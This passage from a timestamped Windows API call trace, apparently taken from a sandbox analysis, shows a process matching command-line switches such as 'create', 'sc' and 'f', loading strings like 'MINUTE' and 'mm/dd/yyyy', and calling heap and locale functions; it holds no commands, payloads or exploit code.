[0085.405] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.405] lstrlenW (lpString="f") returned 1 [0085.405] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.405] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|create|") returned 8 [0085.405] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|f|") returned 3 [0085.405] lstrlenW (lpString="|create|") returned 8 [0085.405] lstrlenW (lpString="|f|") returned 3 [0085.405] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0085.405] SetLastError (dwErrCode=0x490) [0085.406] lstrlenW (lpString="?") returned 1 [0085.406] lstrlenW (lpString="?") returned 1 [0085.406] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.406] lstrlenW (lpString="f") returned 1 [0085.406] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.406] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|?|") returned 3 [0085.406] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|f|") returned 3 [0085.406] lstrlenW (lpString="|?|") returned 3 [0085.406] lstrlenW (lpString="|f|") returned 3 [0085.406] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0085.406] SetLastError (dwErrCode=0x490) [0085.406] lstrlenW (lpString="s") returned 1 [0085.406] lstrlenW (lpString="s") returned 1 [0085.406] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.406] lstrlenW (lpString="f") returned 1 [0085.406] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.406] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|s|") returned 3 [0085.406] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|f|") returned 3 [0085.406] lstrlenW (lpString="|s|") returned 3 [0085.406] lstrlenW (lpString="|f|") returned 3 [0085.406] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0085.406] SetLastError (dwErrCode=0x490) [0085.406] lstrlenW (lpString="u") returned 1 [0085.406] lstrlenW (lpString="u") returned 1 [0085.407] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.407] lstrlenW (lpString="f") returned 1 [0085.407] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.407] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|u|") returned 3 [0085.407] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|f|") returned 3 [0085.407] lstrlenW (lpString="|u|") returned 3 [0085.407] lstrlenW (lpString="|f|") returned 3 [0085.407] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0085.407] SetLastError (dwErrCode=0x490) [0085.407] lstrlenW (lpString="p") returned 1 [0085.407] lstrlenW (lpString="p") returned 1 [0085.407] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.407] lstrlenW (lpString="f") returned 1 [0085.407] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.407] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|p|") returned 3 [0085.407] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|f|") returned 3 [0085.407] lstrlenW (lpString="|p|") returned 3 [0085.407] lstrlenW (lpString="|f|") returned 3 [0085.407] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0085.407] SetLastError (dwErrCode=0x490) [0085.407] lstrlenW (lpString="ru") returned 2 [0085.407] lstrlenW (lpString="ru") returned 2 [0085.407] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.407] lstrlenW (lpString="f") returned 1 [0085.408] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.408] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|ru|") returned 4 [0085.408] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|f|") returned 3 [0085.408] lstrlenW (lpString="|ru|") returned 4 [0085.408] lstrlenW (lpString="|f|") returned 3 [0085.408] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0085.408] SetLastError (dwErrCode=0x490) [0085.408] lstrlenW (lpString="rp") returned 2 [0085.408] lstrlenW (lpString="rp") returned 2 [0085.408] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.408] lstrlenW (lpString="f") returned 1 [0085.408] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.408] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|rp|") returned 4 [0085.408] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|f|") returned 3 [0085.408] lstrlenW (lpString="|rp|") returned 4 [0085.408] lstrlenW (lpString="|f|") returned 3 [0085.408] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0085.408] SetLastError (dwErrCode=0x490) [0085.408] lstrlenW (lpString="sc") returned 2 [0085.408] lstrlenW (lpString="sc") returned 2 [0085.408] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.408] lstrlenW (lpString="f") returned 1 [0085.408] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.409] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|sc|") returned 4 [0085.409] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|f|") returned 3 [0085.409] lstrlenW (lpString="|sc|") returned 4 [0085.409] lstrlenW (lpString="|f|") returned 3 [0085.409] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0085.409] SetLastError (dwErrCode=0x490) [0085.409] lstrlenW (lpString="mo") returned 2 [0085.409] lstrlenW (lpString="mo") returned 2 [0085.409] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.409] lstrlenW (lpString="f") returned 1 [0085.409] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.409] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|mo|") returned 4 [0085.409] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|f|") returned 3 [0085.409] lstrlenW (lpString="|mo|") returned 4 [0085.409] lstrlenW (lpString="|f|") returned 3 [0085.409] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0085.409] SetLastError (dwErrCode=0x490) [0085.409] lstrlenW (lpString="d") returned 1 [0085.409] lstrlenW (lpString="d") returned 1 [0085.409] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.410] lstrlenW (lpString="f") returned 1 [0085.410] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.410] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|d|") returned 3 [0085.410] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|f|") returned 3 [0085.410] lstrlenW (lpString="|d|") returned 3 [0085.410] lstrlenW (lpString="|f|") returned 3 [0085.410] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0085.410] SetLastError (dwErrCode=0x490) [0085.410] lstrlenW (lpString="m") returned 1 [0085.410] lstrlenW (lpString="m") returned 1 [0085.410] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.410] lstrlenW (lpString="f") returned 1 [0085.410] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.410] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|m|") returned 3 [0085.410] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|f|") returned 3 [0085.410] lstrlenW (lpString="|m|") returned 3 [0085.410] lstrlenW (lpString="|f|") returned 3 [0085.410] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0085.410] SetLastError (dwErrCode=0x490) [0085.410] lstrlenW (lpString="i") returned 1 [0085.410] lstrlenW (lpString="i") returned 1 [0085.411] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.411] lstrlenW (lpString="f") returned 1 [0085.411] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.411] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|i|") returned 3 [0085.411] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|f|") returned 3 [0085.411] lstrlenW (lpString="|i|") returned 3 [0085.411] lstrlenW (lpString="|f|") returned 3 [0085.411] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0085.411] SetLastError (dwErrCode=0x490) [0085.411] lstrlenW (lpString="tn") returned 2 [0085.411] lstrlenW (lpString="tn") returned 2 [0085.411] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.411] lstrlenW (lpString="f") returned 1 [0085.411] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.411] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|tn|") returned 4 [0085.411] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|f|") returned 3 [0085.411] lstrlenW (lpString="|tn|") returned 4 [0085.411] lstrlenW (lpString="|f|") returned 3 [0085.411] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0085.411] SetLastError (dwErrCode=0x490) [0085.411] lstrlenW (lpString="tr") returned 2 [0085.411] lstrlenW (lpString="tr") returned 2 [0085.411] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.411] lstrlenW (lpString="f") returned 1 [0085.411] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.412] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|tr|") returned 4 [0085.412] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|f|") returned 3 [0085.412] lstrlenW (lpString="|tr|") returned 4 [0085.412] lstrlenW (lpString="|f|") returned 3 [0085.412] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0085.412] SetLastError (dwErrCode=0x490) [0085.412] lstrlenW (lpString="st") returned 2 [0085.412] lstrlenW (lpString="st") returned 2 [0085.412] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.412] lstrlenW (lpString="f") returned 1 [0085.412] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.412] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|st|") returned 4 [0085.412] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|f|") returned 3 [0085.412] lstrlenW (lpString="|st|") returned 4 [0085.412] lstrlenW (lpString="|f|") returned 3 [0085.412] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0085.412] SetLastError (dwErrCode=0x490) [0085.412] lstrlenW (lpString="sd") returned 2 [0085.412] lstrlenW (lpString="sd") returned 2 [0085.412] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.412] lstrlenW (lpString="f") returned 1 [0085.412] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.412] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|sd|") returned 4 [0085.412] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|f|") returned 3 [0085.412] lstrlenW (lpString="|sd|") returned 4 [0085.413] lstrlenW (lpString="|f|") returned 3 [0085.413] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0085.413] SetLastError (dwErrCode=0x490) [0085.413] lstrlenW (lpString="ed") returned 2 [0085.413] lstrlenW (lpString="ed") returned 2 [0085.413] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.413] lstrlenW (lpString="f") returned 1 [0085.413] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.413] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|ed|") returned 4 [0085.413] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|f|") returned 3 [0085.413] lstrlenW (lpString="|ed|") returned 4 [0085.413] lstrlenW (lpString="|f|") returned 3 [0085.413] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0085.413] SetLastError (dwErrCode=0x490) [0085.413] lstrlenW (lpString="it") returned 2 [0085.413] lstrlenW (lpString="it") returned 2 [0085.413] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.413] lstrlenW (lpString="f") returned 1 [0085.413] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.413] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|it|") returned 4 [0085.413] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|f|") returned 3 [0085.413] lstrlenW (lpString="|it|") returned 4 [0085.413] lstrlenW (lpString="|f|") returned 3 [0085.413] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0085.413] SetLastError (dwErrCode=0x490) [0085.413] lstrlenW (lpString="et") returned 2 [0085.414] lstrlenW (lpString="et") returned 2 [0085.414] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.414] lstrlenW (lpString="f") returned 1 [0085.414] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.414] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|et|") returned 4 [0085.414] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|f|") returned 3 [0085.414] lstrlenW (lpString="|et|") returned 4 [0085.414] lstrlenW (lpString="|f|") returned 3 [0085.414] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0085.414] SetLastError (dwErrCode=0x490) [0085.414] lstrlenW (lpString="k") returned 1 [0085.414] lstrlenW (lpString="k") returned 1 [0085.414] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.414] lstrlenW (lpString="f") returned 1 [0085.414] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.414] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|k|") returned 3 [0085.414] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|f|") returned 3 [0085.414] lstrlenW (lpString="|k|") returned 3 [0085.414] lstrlenW (lpString="|f|") returned 3 [0085.414] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0085.414] SetLastError (dwErrCode=0x490) [0085.414] lstrlenW (lpString="du") returned 2 [0085.414] lstrlenW (lpString="du") returned 2 [0085.414] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.415] lstrlenW (lpString="f") returned 1 [0085.415] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.415] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|du|") returned 4 [0085.415] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|f|") returned 3 [0085.415] lstrlenW (lpString="|du|") returned 4 [0085.415] lstrlenW (lpString="|f|") returned 3 [0085.415] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0085.415] SetLastError (dwErrCode=0x490) [0085.415] lstrlenW (lpString="ri") returned 2 [0085.415] lstrlenW (lpString="ri") returned 2 [0085.415] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.415] lstrlenW (lpString="f") returned 1 [0085.415] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.415] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|ri|") returned 4 [0085.415] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|f|") returned 3 [0085.415] lstrlenW (lpString="|ri|") returned 4 [0085.415] lstrlenW (lpString="|f|") returned 3 [0085.415] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0085.415] SetLastError (dwErrCode=0x490) [0085.415] lstrlenW (lpString="z") returned 1 [0085.415] lstrlenW (lpString="z") returned 1 [0085.415] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.415] lstrlenW (lpString="f") returned 1 [0085.415] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.416] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|z|") returned 3 [0085.416] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|f|") returned 3 [0085.416] lstrlenW (lpString="|z|") returned 3 [0085.416] lstrlenW (lpString="|f|") returned 3 [0085.416] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0085.416] SetLastError (dwErrCode=0x490) [0085.416] lstrlenW (lpString="f") returned 1 [0085.416] lstrlenW (lpString="f") returned 1 [0085.416] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.416] lstrlenW (lpString="f") returned 1 [0085.416] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.416] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|f|") returned 3 [0085.416] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|f|") returned 3 [0085.416] lstrlenW (lpString="|f|") returned 3 [0085.416] lstrlenW (lpString="|f|") returned 3 [0085.416] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0085.416] SetLastError (dwErrCode=0x0) [0085.416] SetLastError (dwErrCode=0x0) [0085.416] GetProcessHeap () returned 0xd0000 [0085.416] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xece40 [0085.416] _memicmp (_Buf1=0xebbc0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.417] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0xed3d0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0085.417] lstrlenW (lpString="MINUTE") returned 6 [0085.417] GetProcessHeap () returned 0xd0000 [0085.417] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0xe) returned 0xed690 [0085.417] GetThreadLocale () returned 0x409 [0085.417] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0085.417] SetLastError (dwErrCode=0x0) [0085.417] GetProcessHeap () returned 0xd0000 [0085.417] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x1fc) returned 0xec480 [0085.417] GetProcessHeap () returned 0xd0000 [0085.417] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xece10 [0085.417] _memicmp (_Buf1=0xebbc0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.417] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0xed3d0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0085.417] lstrlenW (lpString="First") returned 5 [0085.417] GetProcessHeap () returned 0xd0000 [0085.417] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0xc) returned 0xed6b0 [0085.417] GetProcessHeap () returned 0xd0000 [0085.417] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xecde0 [0085.417] _memicmp (_Buf1=0xebbc0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.417] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0xed3d0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0085.418] lstrlenW (lpString="Second") returned 6 [0085.418] GetProcessHeap () returned 0xd0000 [0085.418] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0xe) returned 0xed6d0 [0085.418] GetProcessHeap () returned 0xd0000 [0085.418] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xecdb0 [0085.418] _memicmp (_Buf1=0xebbc0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.418] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0xed3d0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0085.418] lstrlenW (lpString="Third") returned 5 [0085.418] GetProcessHeap () returned 0xd0000 [0085.418] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0xc) returned 0xed6f0 [0085.418] GetProcessHeap () returned 0xd0000 [0085.418] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xecd80 [0085.418] _memicmp (_Buf1=0xebbc0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.418] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0xed3d0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0085.419] lstrlenW (lpString="Fourth") returned 6 [0085.419] GetProcessHeap () returned 0xd0000 [0085.419] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0xe) returned 0xed710 [0085.419] GetProcessHeap () returned 0xd0000 [0085.419] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xecd50 [0085.419] _memicmp (_Buf1=0xebbc0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.420] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0xed3d0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0085.420] lstrlenW (lpString="Last") returned 4 [0085.420] GetProcessHeap () returned 0xd0000 [0085.420] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0xa) returned 0xed730 [0085.420] lstrlenW (lpString="8") returned 1 [0085.420] _wtol (_String="8") returned 8 [0085.420] GetProcessHeap () returned 0xd0000 [0085.420] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xecd20 [0085.420] _memicmp (_Buf1=0xebbc0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.420] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0xed3d0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0085.421] lstrlenW (lpString="First") returned 5 [0085.421] GetProcessHeap () returned 0xd0000 [0085.421] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0xc) returned 0xed750 [0085.421] _memicmp (_Buf1=0xebbc0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.421] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0xed3d0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0085.421] lstrlenW (lpString="Second") returned 6 [0085.421] GetProcessHeap () returned 0xd0000 [0085.421] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0xe) returned 0xed770 [0085.421] _memicmp (_Buf1=0xebbc0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.421] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0xed3d0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0085.421] lstrlenW (lpString="Third") returned 5 [0085.421] _memicmp (_Buf1=0xebbc0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.421] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0xed3d0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0085.421] lstrlenW (lpString="Fourth") returned 6 [0085.421] _memicmp (_Buf1=0xebbc0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.421] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0xed3d0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0085.421] lstrlenW (lpString="Last") returned 4 [0085.421] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x25c560, cchData=128 | out: lpLCData="0") returned 2 [0085.422] _memicmp (_Buf1=0xebbc0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.422] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0xed3d0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0085.422] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0085.422] GetProcessHeap () returned 0xd0000 [0085.422] GetProcessHeap () returned 0xd0000 [0085.422] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xed6b0) returned 1 [0085.422] GetProcessHeap () returned 0xd0000 [0085.422] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xed6b0) returned 0xc [0085.422] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xed6b0 | out: hHeap=0xd0000) returned 1 [0085.422] GetProcessHeap () returned 0xd0000 [0085.422] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x16) returned 0xed6b0 [0085.422] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x25c580, cchData=128 | out: lpLCData="0") returned 2 [0085.422] _memicmp (_Buf1=0xebbc0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.422] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0xed3d0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0085.422] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0085.422] GetProcessHeap () returned 0xd0000 [0085.422] GetProcessHeap () returned 0xd0000 [0085.422] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xed6d0) returned 1 [0085.422] GetProcessHeap () returned 0xd0000 [0085.422] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xed6d0) returned 0xe [0085.422] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xed6d0 | out: hHeap=0xd0000) returned 1 [0085.422] GetProcessHeap () returned 0xd0000 [0085.422] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x16) returned 0xed6d0 [0085.422] GetLocalTime (in: 